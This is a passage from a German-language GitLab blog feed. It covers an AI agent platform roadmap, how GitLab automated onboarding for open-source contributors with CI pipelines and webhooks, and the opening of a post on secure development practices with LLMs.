<p>In den kommenden Wochen werden wir neue Funktionen für Duo Agent Platform veröffentlichen, einschließlich weiterer sofort einsatzbereiter Agenten und Flows. Diese werden die Plattform in die GitLab-Erfahrung bringen, die du heute liebst, und noch größere Anpassung und Erweiterbarkeit ermöglichen, was die Produktivität für unsere Kund(inn)en verstärkt:</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1752685275/hjbe9iiu2ydp9slibsc2.png" alt="GitLab Duo Agent Platform public beta roadmap" title="GitLab Duo Agent Platform public beta roadmap"></p>
<ul>
<li><strong>Integrierte GitLab-Erfahrung:</strong> Aufbauend auf den in 18.2 verfügbaren IDE-Erweiterungen erweitern wir Agenten und Flows innerhalb der GitLab-Plattform. Diese tiefere Integration wird die Möglichkeiten erweitern, wie du synchron und asynchron mit Agenten zusammenarbeiten kannst. Du wirst in der Lage sein, Issues direkt an Agenten zuzuweisen, sie in GitLab Duo Chat zu @erwähnen und sie nahtlos von überall in der Anwendung aufzurufen, während die MCP-Konnektivität von deinem bevorzugten Entwicklungstool beibehalten wird. Diese native Integration verwandelt Agenten in echte Entwicklungsteammitglieder, die in ganz GitLab zugänglich sind.</li>
<li><strong>Agenten-Observability:</strong> Da Agenten autonomer werden, bauen wir umfassende Sichtbarkeit in ihre Aktivität auf, während sie durch Flows fortschreiten, was es dir ermöglicht, ihre Entscheidungsprozesse zu überwachen, Ausführungsschritte zu verfolgen und zu verstehen, wie sie deine Entwicklungsherausforderungen interpretieren und darauf reagieren. Diese Transparenz im Agentenverhalten schafft Vertrauen und Zuversicht, während es dir ermöglicht, Workflows zu optimieren, Engpässe zu identifizieren und sicherzustellen, dass Agenten genau wie beabsichtigt funktionieren.</li>
<li><strong>KI-Katalog:</strong> In Anerkennung der Tatsache, dass großartige Lösungen aus Community-Innovation entstehen, werden wir bald die Public Beta unseres KI-Katalogs einführen - ein Marktplatz, der es dir ermöglicht, Duo Agent Platform mit spezialisierten Agenten und Flows zu erweitern, die von GitLab und im Laufe der Zeit von der breiteren Community stammen. Du wirst in der Lage sein, diese Lösungen schnell in GitLab bereitzustellen und dabei den Kontext über deine Projekte und Codebasis hinweg zu nutzen.</li>
<li><strong>Knowledge Graph:</strong> Unter Nutzung von GitLabs einzigartigem Vorteil als System of Record für Quellcode und seinen umgebenden Kontext bauen wir einen umfassenden Knowledge Graph auf, der nicht nur Dateien und Abhängigkeiten über die Codebasis hinweg abbildet, sondern diese Karte auch für Nutzer(innen) navigierbar macht, während KI-Abfragezeiten beschleunigt und die Genauigkeit erhöht wird. Diese Grundlage ermöglicht es GitLab Duo-Agenten, Beziehungen über deine gesamte Entwicklungsumgebung hinweg schnell zu verstehen, von Code-Abhängigkeiten bis zu Deployment-Mustern, und ermöglicht schnellere und präzisere Antworten auf komplexe Fragen.</li>
</ul>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1752685367/n0tvfgorchuhrronic3j.png" alt="GitLab Duo Agent Platform Knowledge Graph" title="GitLab Duo Agent Platform Knowledge Graph"></p>
<ul>
<li><strong>Agenten und Flows erstellen und bearbeiten:</strong> Im Verständnis, dass jede Organisation einzigartige Workflows und Anforderungen hat, entwickeln wir leistungsstarke Funktionen zur Erstellung und Bearbeitung von Agenten und Flows, die eingeführt werden, wenn der KI-Katalog reift. Du wirst in der Lage sein, Agenten und Flows zu erstellen und zu modifizieren, damit sie genau so funktionieren, wie deine Organisation arbeitet, und eine tiefe Anpassung über Duo Agent Platform hinweg liefern, die qualitativ hochwertigere Ergebnisse und erhöhte Produktivität ermöglicht.</li>
</ul>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1752684938/fruwqcqvvrx8gmkz5u0v.png" alt="AI Catalog" title="AI Catalog"></p>
<ul>
<li><strong>Offizieller GitLab MCP-Server:</strong> In der Erkenntnis, dass Entwickler(innen) über mehrere Tools und Umgebungen hinweg arbeiten, bauen wir einen offiziellen GitLab MCP-Server, der es dir ermöglicht, über MCP auf alle deine Agenten und Flows zuzugreifen. Du wirst in der Lage sein, dich mit deinen Agenten und Flows von überall aus zu verbinden und zusammenzuarbeiten, wo MCP unterstützt wird, einschließlich beliebter Tools wie Claude Code, Cursor, Copilot und Windsurf, was eine nahtlose KI-Zusammenarbeit unabhängig von deiner bevorzugten Entwicklungsumgebung ermöglicht.</li>
<li><strong>GitLab Duo Agent Platform CLI:</strong> Unsere kommende CLI ermöglicht es dir, Agenten aufzurufen und Flows auf der Befehlszeile auszulösen, wobei GitLabs reichhaltiger Kontext über den gesamten Software-Entwicklungslebenszyklus genutzt wird - von Code-Repositories und Merge Requests bis zu CI/CD-Pipelines und Issue-Tracking.</li>
</ul>
<h2>Jetzt loslegen</h2>
<ul>
<li><strong>GitLab Premium- und Ultimate-Kund(inn)en</strong> in GitLab.com- und selbstverwalteten Umgebungen, die GitLab 18.2 verwenden, können Duo Agent Platform sofort nutzen (Beta- und experimentelle Funktionen für GitLab Duo <a href="https://docs.gitlab.com/user/gitlab_duo/turn_on_off/#turn-on-beta-and-experimental-features">müssen aktiviert sein</a>).</li>
<li>Nutzer(innen) sollten die <a href="https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow">VS Code-Erweiterung</a> oder das <a href="https://plugins.jetbrains.com/plugin/22857-gitlab">JetBrains IDEs-Plugin</a> herunterladen und unserem <a href="https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/#use-agentic-chat">Leitfaden zur Verwendung von GitLab Duo Agentic Chat</a> folgen, einschließlich der Duo Chat <a href="https://docs.gitlab.com/user/gitlab_duo_chat/examples/#gitlab-duo-chat-slash-commands">Slash-Befehle</a>.</li>
</ul>
<p><strong>Neu bei GitLab?</strong> Jeder kann an unserer kommenden (englischsprachigen) <a href="https://page.gitlab.com/webcasts-jul16-gitlab-duo-agentic-ai-emea-amer.html">Technischen Demo teilnehmen, um GitLab Duo Agent Platform</a> in Aktion zu sehen. Um GitLab Duo Agent Platform selbst praktisch zu erleben, melde dich noch heute für eine <a href="https://gitlab.com/-/trials/new?glm_content=default-saas-trial&amp;glm_source=about.gitlab.com%2Fsales%2F">kostenlose Testversion</a> an.</p>
<p>&lt;small&gt;<em>Dieser Blogbeitrag enthält „zukunftsgerichtete Aussagen&quot; im Sinne von Abschnitt 27A des Securities Act von 1933 in der geänderten Fassung und Abschnitt 21E des Securities Exchange Act von 1934. Obwohl wir glauben, dass die in den zukunftsgerichteten Aussagen in diesem Blogbeitrag zum Ausdruck gebrachten Erwartungen angemessen sind, unterliegen sie bekannten und unbekannten Risiken, Unsicherheiten, Annahmen und anderen Faktoren, die dazu führen können, dass die tatsächlichen Ergebnisse oder Resultate wesentlich von den in den zukunftsgerichteten Aussagen ausgedrückten oder implizierten zukünftigen Ergebnissen oder Resultaten abweichen.</em></p>
<p><em>Weitere Informationen zu Risiken, Unsicherheiten und anderen Faktoren, die dazu führen könnten, dass die tatsächlichen Ergebnisse und Resultate wesentlich von den in den zukunftsgerichteten Aussagen in diesem Blogbeitrag enthaltenen oder betrachteten abweichen, finden sich unter der Überschrift „Risikofaktoren&quot; und an anderer Stelle in den Einreichungen und Berichten, die wir bei der Securities and Exchange Commission einreichen. Wir übernehmen keine Verpflichtung, zukunftsgerichtete Aussagen zu aktualisieren oder zu überarbeiten oder über Ereignisse oder Umstände nach dem Datum dieses Blogbeitrags zu berichten oder das Eintreten unvorhergesehener Ereignisse widerzuspiegeln, es sei denn, dies ist gesetzlich vorgeschrieben.</em>&lt;/small&gt;</p>
]]></content>
        <author>
            <name>Bill Staples</name>
            <uri>https://about.gitlab.com/blog/authors/bill-staples</uri>
        </author>
        <published>2025-07-17T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Wie wir GitLab nutzen, um Open-Source-Communities wachsen zu lassen]]></title>
        <id>https://about.gitlab.com/de-de/blog/how-we-use-gitlab-to-grow-open-source-communities/</id>
        <link href="https://about.gitlab.com/de-de/blog/how-we-use-gitlab-to-grow-open-source-communities/"/>
        <updated>2025-07-15T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>GitLabs Contributor Success Team stand vor einer Herausforderung.
Während unsere wiederkehrenden Open-Source-Mitwirkenden mehr Code-Änderungen mergten und an tiefgreifenden Funktionen zusammenarbeiteten, hatten Erstmitwirkende Schwierigkeiten, den Einstieg zu finden. Wir wussten, dass viele Neulinge in Open Source oft aufgaben oder nie um Hilfe baten. Aber als Verfechter von <a href="https://handbook.gitlab.com/handbook/company/mission/">GitLabs Mission</a>,
allen das Mitwirken zu ermöglichen, wollten wir es besser machen.</p>
<p>Wir begannen Forschungsstudien über Open-Source-Mitwirkende bei GitLab durchzuführen. Dann verbesserten wir die Stolpersteine. Im Januar erreichten wir einen Rekord von 184 einzigartigen Community-Mitwirkenden bei GitLab in einem einzigen Monat
und übertrafen damit erstmals unser Teamziel von 170.</p>
<p>Drei Monate später brachen wir den Rekord erneut mit 192.</p>
<p>So haben wir GitLabs eigene Tools genutzt, um das Neueinsteiger-Dilemma zu lösen und unsere Open-Source-Community wachsen zu lassen.</p>
<h2>Was wir aus der Untersuchung von Erstmitwirkenden gelernt haben</h2>
<p>2023 führten wir die erste Nutzerstudie über GitLab Open-Source-Mitwirkende durch.
Wir beobachteten sechs Teilnehmende, die noch nie bei GitLab mitgewirkt hatten, bei ihrem ersten Versuch. Sie führten Tagebuchstudien durch und nahmen an Zoom-Interviews teil, in denen sie ihre Erfahrungen detailliert schilderten.</p>
<p>Die Teilnehmenden sagten uns:</p>
<ul>
<li>Die Mitwirkenden-Dokumentation war verwirrend</li>
<li>Der Einstieg fühlte sich überwältigend an</li>
<li>Es war nicht klar, wie oder wo man Hilfe finden konnte</li>
</ul>
<p>Nur eine(r) der sechs Teilnehmenden schaffte es während der Studie erfolgreich, einen Code-Beitrag zu GitLab zu mergen.</p>
<p>Es wurde klar, dass wir uns auf die Onboarding-Erfahrung konzentrieren mussten, wenn wir wollten, dass neue Mitwirkende Erfolg haben.
Also haben wir <a href="https://handbook.gitlab.com/handbook/values/#iteration">iteriert</a>!</p>
<p>Unser Team verbrachte das nächste Jahr damit, ihre Herausforderungen anzugehen. Wir nutzten GitLab-Tools
wie Issue-Templates, geplante Pipelines, Webhooks und die GitLab Query Language (GLQL), um eine innovative halbautomatisierte Onboarding-Lösung zu entwickeln.</p>
<p>2025 führten wir eine Folgestudie mit neuen Teilnehmenden durch, die noch nie einen Beitrag zu GitLab geleistet hatten. Alle 10 Teilnehmenden erstellten und mergten erfolgreich Beiträge zu GitLab – eine Erfolgsquote von 100%. Das Feedback zeigte große Wertschätzung für den neuen Onboarding-Prozess, die Geschwindigkeit, mit der
Maintainer bei Mitwirkenden nachfragten, und die Anerkennung, die wir Mitwirkenden anboten.</p>
<p>Noch besser: Die Teilnehmenden teilten mit, wie viel Spaß sie beim Mitwirken hatten:
„Ich fühlte einen kleinen Adrenalinstoß bei dem Gedanken, sagen zu können: ‚Ich habe beim Aufbau von GitLab geholfen.'&quot;</p>
<h2>Wir haben persönliches Onboarding mit GitLab aufgebaut</h2>
<p>Unsere Lösung begann mit Engagement.
Um Neulingen beim Einstieg zu helfen, führten wir einen persönlichen Onboarding-Prozess ein, der jeden
Mitwirkenden mit einem Community-Maintainer verbindet.</p>
<p>Wir erstellten ein <a href="https://gitlab.com/gitlab-community/meta/-/blob/ac0e5579a6a1cf26e367010bfcf6c7d35b38d4f8/.gitlab/issue_templates/Onboarding.md">Issue-Template</a> mit einer klaren Checkliste von Aufgaben.</p>
<p>Das Onboarding-Issue behandelt auch die Zugangsgenehmigung für die
<a href="https://about.gitlab.com/blog/gitlab-community-forks/">GitLab Community Forks</a>,
eine Sammlung gemeinsamer Projekte, die es einfacher machen, Änderungen zu pushen, mit anderen zusammenzuarbeiten
und auf GitLab Ultimate- und Duo-Funktionen zuzugreifen.</p>
<p>Mit <a href="https://docs.gitlab.com/user/project/labels/#scoped-labels">Scoped Labels</a> zeigen wir den Status der Zugangsanfrage für einfache Maintainer-Nachverfolgungen an.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512804/vkiyl0hrfbgcer3nz38r.png" alt="GitLab onboarding issue"></p>
<p>Wir begannen mit einem Ruby-Skript, das über eine <a href="https://docs.gitlab.com/ci/pipelines/schedules/">geplante Pipeline</a> ausgeführt wurde,
nach neuen Zugangsanfragen suchte und das Issue-Template nutzte, um personalisierte Onboarding-Issues zu erstellen.</p>
<p>Von hier aus engagieren sich unsere Maintainer mit neuen Mitwirkenden, um den Zugang zu verifizieren, Fragen zu beantworten und Issues zu finden.</p>
<h2>Wir standardisierten Antworten mit Kommentar-Templates</h2>
<p>Mit mehreren Maintainern in der GitLab-Community wollten wir konsistente und klare Kommunikation sicherstellen.</p>
<p>Wir erstellten <a href="https://docs.gitlab.com/user/profile/comment_templates/">Kommentar-Templates</a>,
die wir mit dem Repository über die GraphQL-API und ein
<a href="https://gitlab.com/gitlab-community/meta/-/blob/dd6e0c2861c848251424b72e3e8c5603dcaac725/bin/sync_comment_templates.rb">Ruby-Skript</a> synchronisieren.</p>
<p>Das Skript wird in <code>.gitlab-ci.yml</code> ausgelöst, wenn Änderungen an Kommentar-Templates
zum Standard-Branch gepusht werden (ein Trockenlauf wird in Merge Requests ausgelöst).</p>
<pre><code class="language-yaml">execute:sync-comment-templates:
  stage: execute
  extends: .ruby
  script:
    - bundle exec bin/sync_comment_templates.rb
  variables:
    SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN: $SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN_READ_ONLY
  rules:
    - if: $CI_PIPELINE_SOURCE == 'schedule' || $CI_PIPELINE_SOURCE == &quot;trigger&quot;
      when: never
    - if: $EXECUTE_SYNC_COMMENT_TEMPLATES == '1'
    - if: $CI_MERGE_REQUEST_IID
      changes:
        - .gitlab/comment_templates/**/*
      variables:
        REPORT_ONLY: 1
    - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH
      changes:
        - .gitlab/comment_templates/**/*
      variables:
        FORCE_SYNC: 1
        DRY_RUN: 0
        SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN: $SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN_READ_WRITE
</code></pre>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512803/qmfaymqhq3zgdcnm6a3j.png" alt="GitLab comment template"></p>
<h2>Wir eliminierten die 5-Minuten-Wartezeit</h2>
<p>Unsere erste Iteration war etwas langsam.
Nach dem Start des Onboarding-Prozesses fragten sich Mitwirkende, was als Nächstes zu tun ist, während die geplante
Pipeline bis zu 5 Minuten brauchte, um ihr Onboarding-Issue zu erstellen.
Fünf Minuten fühlen sich wie eine Ewigkeit an, wenn du den Schwung hast, einzutauchen.</p>
<p><a href="https://gitlab.com/Taucher2003">Niklas</a>, ein Mitglied unseres <a href="https://about.gitlab.com/community/core-team/">Core Teams</a>, entwickelte eine Lösung.
Er fügte <a href="https://gitlab.com/gitlab-org/gitlab/-/merge_requests/163094">Webhook-Events für Zugangsanfragen</a>
und <a href="https://gitlab.com/gitlab-org/gitlab/-/merge_requests/142738">benutzerdefinierte Payload-Templates für Webhooks</a> hinzu.</p>
<p>Diese Funktionen ermöglichten es uns gemeinsam, eine Pipeline sofort auszulösen, anstatt auf den Zeitplan zu warten.
Das reduziert die Zeit auf etwa 40 Sekunden (die Zeit, die die CI-Pipeline zum Ausführen benötigt)
und generiert das Onboarding-Issue sofort. Es spart auch Tausende verschwendeter Pipelines und Compute-Minuten, wenn tatsächlich keine Zugangsanfragen verarbeitet werden müssen.</p>
<p>Wir richteten ein <a href="https://docs.gitlab.com/ci/triggers/#create-a-pipeline-trigger-token">Pipeline-Trigger-Token</a> ein
und nutzten dies als Ziel für den Webhook, wobei wir die gewünschten Umgebungsvariablen übergaben:</p>
<pre><code class="language-json">{
  &quot;ref&quot;: &quot;main&quot;,
  &quot;variables&quot;: {
    &quot;EXECUTE_ACCESS_REQUESTS&quot;: &quot;1&quot;,
    &quot;DRY_RUN&quot;: &quot;0&quot;,
    &quot;PIPELINE_NAME&quot;: &quot;Create onboarding issues&quot;,
    &quot;GROUP_ID&quot;: &quot;{{group_id}}&quot;,
    &quot;EVENT_NAME&quot;: &quot;{{event_name}}&quot;
  }
}
</code></pre>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512805/qom7hnqnwfcdzvria7dd.png" alt="Pipeline list"></p>
<h2>Wir automatisierten Nachfassaktionen</h2>
<p>Mit einem steigenden Volumen von Kunden und Community-Mitwirkenden, die in die GitLab-Community einsteigen,
hatten Maintainer Schwierigkeiten nachzuvollziehen, welche Issues Aufmerksamkeit benötigten, und einige Nachfragen gingen verloren.</p>
<p>Wir bauten eine Automatisierung auf, die Webhooks und Ruby nutzt, um Issues zu kennzeichnen, die von Community-Mitgliedern aktualisiert wurden.
Dies schafft ein klares Signal des Issue-Status für Maintainer.</p>
<p><a href="https://gitlab.com/gitlab-org/ruby/gems/gitlab-triage">GitLab Triage</a>
stupst automatisch inaktive Onboarding-Issues an, um sicherzustellen, dass wir die Dynamik der Mitwirkenden aufrechterhalten.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512811/gkj3qaidjl1vv2dlu8ep.png" alt="Automated nudge for idle GitLab onboarding issues"></p>
<h2>Wir organisierten die Issue-Verfolgung mit GLQL</h2>
<p>Wir bauten eine <a href="https://docs.gitlab.com/user/glql/">GLQL-Ansicht</a>, um Issues im Blick zu behalten.
Diese GLQL-Tabelle fasst Onboarding-Issues zusammen, die Aufmerksamkeit benötigen,
damit Maintainer sie überprüfen und mit Community-Mitgliedern nachfassen können.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512804/hdduf0orntdfhkysheae.png" alt="GLQL view of issue tracking"></p>
<p>Diese GLQL-Ansichten verbesserten unsere gesamte Triage-<a href="https://handbook.gitlab.com/handbook/values/#efficiency">Effizienz</a>.
Es war so erfolgreich, dass wir diese Strategie auch bei den Programmen <a href="https://about.gitlab.com/solutions/open-source/">GitLab for Open Source</a>
und <a href="https://about.gitlab.com/solutions/education/">GitLab for Education</a> anwendeten.
Mit GLQL-Tabellen für Support-Issues senkten diese Community-Programme ihre Antwortzeiten um 75%.</p>
<h2>Wir machten die README auffindbar</h2>
<p>Die <a href="https://gitlab.com/gitlab-community/">@gitlab-community-Gruppe</a>
ist das Zuhause für Mitwirkende auf GitLab.com.
Wir hatten bereits eine <code>README.md</code>-Datei, die die Community Forks und den Onboarding-Prozess erklärte, aber diese Datei
befand sich in unserem Meta-Projekt.
Mit unserer Folgestudie entdeckten wir, dass dies ein Verwirrungspunkt für Neulinge war, wenn ihre
Onboarding-Issues unter einem anderen Projekt waren.</p>
<p>Wir nutzten <a href="https://docs.gitlab.com/user/project/repository/mirror/">GitLabs Projekt-Spiegelung</a>,
um dies zu lösen und spiegelten das Meta-Projekt zu <code>gitlab-profile</code>.
Dies machte die bestehende README-Datei auf Gruppenebene sichtbar und erleichterte die Entdeckung.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512809/kbgdxyilza71kmj0aeqt.png" alt="GitLab project mirroiring"></p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512804/taosgn8vvgo8onszuwaf.png" alt="Group README"></p>
<h2>Die Ergebnisse sprechen für sich selbst</h2>
<p>Durch das Dogfooding von GitLab verbesserten wir die in unseren Forschungsstudien gefundenen Stolpersteine
und transformierten die GitLab-Mitwirkenden-Journey.
Wir haben die Anzahl der Kunden und Community-Mitglieder erhöht, die zu GitLab beitragen,
Funktionen zum Produkt hinzufügen, Fehler beheben und zu unserem CI/CD-Katalog beitragen.</p>
<p>Unser Onboarding-Prozess hat die Rate erhöht, mit der Neulinge der Community beitreten, und unsere Gesamtzahl der
Mitwirkenden in den Community Forks hat sich in den letzten 9 Monaten verdoppelt.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512803/xagra4vfsrhbcwnzekmp.png" alt="Community forks growth chart"></p>
<p>Wir reduzierten die Zeit, die Neulinge für ihren ersten Beitrag benötigen, indem wir sie
schneller mit Maintainern verbinden und sie beim Einstieg unterstützen.
Wir nutzen <a href="https://docs.gitlab.com/user/group/value_stream_analytics/">GitLabs Value Stream Analytics</a>,
um unsere Antwortzeiten zu verfolgen.</p>
<ul>
<li>Die erste Antwortzeit von Community-Maintainern liegt in den letzten 3 Monaten bei 46 Minuten</li>
<li>Die durchschnittliche Genehmigungszeit für den Zugang zu Community Forks liegt in den letzten 3 Monaten bei 1 Stunde</li>
</ul>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512812/jzksakrfdb22hooqemzh.png" alt="Value stream analytics timeline"></p>
<p>Die 100%-ige Erfolgsquote unserer Nutzerstudie 2025 bestätigte diese Verbesserungen für unsere Erstmitwirkenden.</p>
<h2>Wir investierten Zeiteinsparungen in die Anerkennung von Mitwirkenden</h2>
<p>Die Behebung dieser Neueinsteiger-Herausforderungen ermöglichte uns mehr Kapazität, uns auf eine bessere Anerkennung von
Mitwirkenden zu konzentrieren und Erstmitwirkende zu motivieren, wiederzukommen.
Das Ergebnis ist <a href="https://contributors.gitlab.com/">contributors.gitlab.com</a>.
Wir haben einen zentralen Hub für unsere Mitwirkenden aufgebaut, der gamifizierte Bestenlisten,
Erfolge und Belohnungen bietet.
Mitwirkende können ihre Wirkung sehen, Fortschritte verfolgen und in der Community wachsen.</p>
<h2>Was wir gelernt haben teilen</h2>
<p>Diese Verbesserungen funktionieren und sind für andere Open-Source-Projekte wiederholbar.
Wir teilen unseren Ansatz über Communities und Konferenzen hinweg, damit andere Projekte in Betracht ziehen können, diese Tools zum Wachstum zu nutzen.</p>
<p>Wenn mehr Organisationen die Teilnahmebarrieren kennenlernen, können wir eine einladendere Open-Source-Umgebung schaffen.
Mit diesen GitLab-Tools können wir sowohl Mitwirkenden als auch Maintainern eine reibungslosere Erfahrung bieten.
Wir sind entschlossen, diese Arbeit voranzutreiben und zusammenzuarbeiten, um Barrieren für Open-Source-Projekte überall zu beseitigen.</p>
<h2>Das Gespräch beginnen</h2>
<p>Möchtest du mehr darüber erfahren, wie du deine Mitwirkenden-Community wachsen lassen kannst?
Sende eine E-Mail an <code>contributors@gitlab.com</code> oder <a href="https://gitlab.com/gitlab-org/developer-relations/contributor-success/team-task/-/issues">öffne ein Issue</a>,
um eine Diskussion zu beginnen.
Wir sind hier, um beim Aufbau von Communities zu helfen.</p>
]]></content>
        <author>
            <name>Lee Tickett</name>
            <uri>https://about.gitlab.com/blog/authors/lee-tickett</uri>
        </author>
        <author>
            <name>Daniel Murphy</name>
            <uri>https://about.gitlab.com/blog/authors/daniel-murphy</uri>
        </author>
        <published>2025-07-15T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[3 Best Practices für die Softwareentwicklung im Zeitalter von LLMs]]></title>
        <id>https://about.gitlab.com/de-de/blog/3-best-practices-for-building-software-in-the-era-of-llms/</id>
        <link href="https://about.gitlab.com/de-de/blog/3-best-practices-for-building-software-in-the-era-of-llms/"/>
        <updated>2025-07-10T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>KI ist rasant zu einem Kernbestandteil der modernen Softwareentwicklung geworden. Sie hilft Entwickler(innen) nicht nur dabei, schneller als je zuvor zu programmieren, sondern automatisiert auch Low-Level-Aufgaben wie das Schreiben von Testfällen oder das Zusammenfassen von Dokumentationen. Laut unserer <a href="https://about.gitlab.com/developer-survey/">2024 Global DevSecOps Survey</a> nutzen bereits 81 % der Entwickler(innen) KI in ihren Workflows oder planen dies in den nächsten zwei Jahren.</p>
<p>Da Code mit weniger manuellem Aufwand geschrieben wird, beobachten wir eine subtile, aber wichtige Verhaltensänderung: Entwickler(innen) beginnen, KI-generiertem Code mit weniger Prüfung zu vertrauen. Dieses Vertrauen – so verständlich es auch sein mag – kann stillschweigend Sicherheitsrisiken einführen, insbesondere wenn das Gesamtvolumen des Codes zunimmt. Von Entwickler(innen) kann nicht erwartet werden, dass sie über jede Schwachstelle oder jeden Exploit auf dem Laufenden bleiben. Deshalb brauchen wir Systeme und Sicherheitsvorkehrungen, die mit ihnen skalieren. KI-Tools sind gekommen, um zu bleiben. Als Sicherheitsexperten ist es daher die Pflicht, Entwickler(innen) zu befähigen, diese so zu übernehmen, dass sowohl Geschwindigkeit als auch Sicherheit verbessert werden.</p>
<p>Hier sind drei praktische Wege, dies zu erreichen.</p>
<h2>Niemals vertrauen, immer verifizieren</h2>
<p>Wie bereits erwähnt, beginnen Entwickler(innen), KI-generiertem Code bereitwilliger zu vertrauen, besonders wenn er sauber aussieht und fehlerfrei kompiliert. Um dem entgegenzuwirken, sollte eine Zero-Trust-Mentalität angenommen werden. Während oft über <a href="https://about.gitlab.com/blog/why-devops-and-zero-trust-go-together/">Zero Trust</a> im Kontext von Identitäts- und Zugriffsmanagement gesprochen wird, kann dasselbe Prinzip hier mit einem etwas anderen Rahmen angewendet werden. KI-generierten Code wie Input von einem Junior-Entwickler behandeln: hilfreich, aber nicht produktionsreif ohne ordnungsgemäße Überprüfung.</p>
<p>Entwickler(innen) sollten erklären können, was der Code tut und warum er sicher ist, bevor er gemergt wird. Die Überprüfung von KI-generiertem Code könnte sich sogar als eine aufkommende Fähigkeit herausstellen, die in der Welt der Softwareentwicklung erforderlich ist. Die Entwickler(innen), die darin hervorragend sind, werden unverzichtbar sein, weil sie die Geschwindigkeit von LLMs mit der Denkweise zur Risikominderung verbinden, um sicheren Code schneller zu produzieren.</p>
<p>Hier können Tools wie <a href="https://docs.gitlab.com/user/project/merge_requests/duo_in_merge_requests/">GitLab Duo Code Review</a> helfen. Als Feature unseres KI-Begleiters über den gesamten Softwareentwicklungszyklus hinweg bringt es KI in den Code-Review-Prozess – nicht um menschliches Urteilsvermögen zu ersetzen, sondern um es zu verbessern. Durch das Aufzeigen von Fragen, Inkonsistenzen und übersehenen Problemen in den Merge Requests kann KI Entwickler(innen) dabei helfen, mit genau der KI Schritt zu halten, die Entwicklungszyklen beschleunigt.</p>
<h2>Prompts für sichere Muster</h2>
<p>Large Language Models (<a href="https://about.gitlab.com/blog/what-is-a-large-language-model-llm/">LLMs</a>) sind leistungsfähig, aber nur so präzise wie die ihnen gegebenen Prompts. Deshalb wird Prompt Engineering zu einem Kernbestandteil der Arbeit mit KI-Tools. In der Welt der LLMs <em>ist</em> die Eingabe die Schnittstelle. Entwickler(innen), die lernen, klare, sicherheitsbewusste Prompts zu schreiben, werden eine Schlüsselrolle beim Aufbau sichererer Software von Anfang an spielen.</p>
<p>Beispielsweise führen vage Anfragen wie „baue ein Login-Formular&quot; oft zu unsicheren oder zu vereinfachten Ergebnissen. Durch die Einbeziehung von mehr Kontext, wie „baue ein Login-Formular <strong>mit</strong> Eingabevalidierung, Rate Limiting und Hashing, <strong>und</strong> unterstütze Phishing-resistente Authentifizierungsmethoden wie Passkeys&quot;, ist es wahrscheinlicher, dass eine Ausgabe produziert wird, die den Sicherheitsstandards der Organisation entspricht.</p>
<p>Aktuelle <a href="https://www.backslash.security/press-releases/backslash-security-reveals-in-new-research-that-gpt-4-1-other-popular-llms-generate-insecure-code-unless-explicitly-prompted">Forschung</a> von Backlash Security unterstützt dies. Sie fanden heraus, dass sicheres Prompting die Ergebnisse bei beliebten LLMs verbesserte. Wenn Entwickler(innen) die Modelle einfach baten, „sicheren Code zu schreiben&quot;, blieben die Erfolgsraten niedrig. Wenn jedoch Prompts auf <a href="https://cheatsheetseries.owasp.org/cheatsheets/LLM_Prompt_Injection_Prevention_Cheat_Sheet.html">OWASP Best Practices</a> verwiesen, stieg die Rate der sicheren Code-Generierung.</p>
<p>Prompt Engineering sollte Teil dessen sein, wie Security Champions innerhalb von Entwicklungsteams geschult und befähigt werden. Genau wie sichere Coding-Muster und Threat Modeling gelehrt werden, sollte Entwickler(innen) auch beigebracht werden, wie KI-Tools mit derselben Sicherheitsdenkweise geleitet werden.</p>
<blockquote>
<p>Erfahre mehr mit diesen hilfreichen <a href="https://docs.gitlab.com/development/ai_features/prompt_engineering/">Prompt-Engineering-Tipps</a>.</p>
</blockquote>
<h2>Alles scannen, keine Ausnahmen</h2>
<p>Der Aufstieg der KI bedeutet, dass mehr Code schneller mit der gleichen Anzahl von Menschen geschrieben wird. Diese Verschiebung sollte die Denkweise über Sicherheit ändern – nicht nur als abschließende Überprüfung, sondern als ständig aktive Schutzmaßnahme, die in jeden Aspekt des Entwicklungsprozesses eingewoben ist.</p>
<p>Mehr Code bedeutet eine größere Angriffsfläche. Und wenn dieser Code teilweise oder vollständig generiert ist, können wir uns nicht allein auf sichere Coding-Praktiken oder individuelle Intuition verlassen, um Risiken zu erkennen. Hier kommt automatisiertes Scannen ins Spiel. <a href="https://docs.gitlab.com/user/application_security/sast/">Static Application Security Testing (SAST)</a>, <a href="https://docs.gitlab.com/user/application_security/dependency_scanning/">Software Composition Analysis (SCA)</a> und <a href="https://docs.gitlab.com/user/application_security/secret_detection/">Secret Detection</a> werden zu kritischen Kontrollen, um das Risiko von Secret Leaks, Supply-Chain-Angriffen und Schwachstellen wie SQL-Injections zu mindern. Mit Plattformen wie GitLab ist <a href="https://about.gitlab.com/solutions/security-compliance/">Application Security</a> nativ in den Workflow der Entwickler(innen) integriert, was sie zu einem natürlichen Teil des Entwicklungslebenszyklus macht. Scanner können auch durch das gesamte Programm verfolgen, um sicherzustellen, dass neuer KI-generierter Code sicher ist <em>im Kontext des gesamten anderen Codes</em> – das kann schwer zu erkennen sein, wenn nur neuer Code in der IDE oder in einem KI-generierten Patch betrachtet wird.</p>
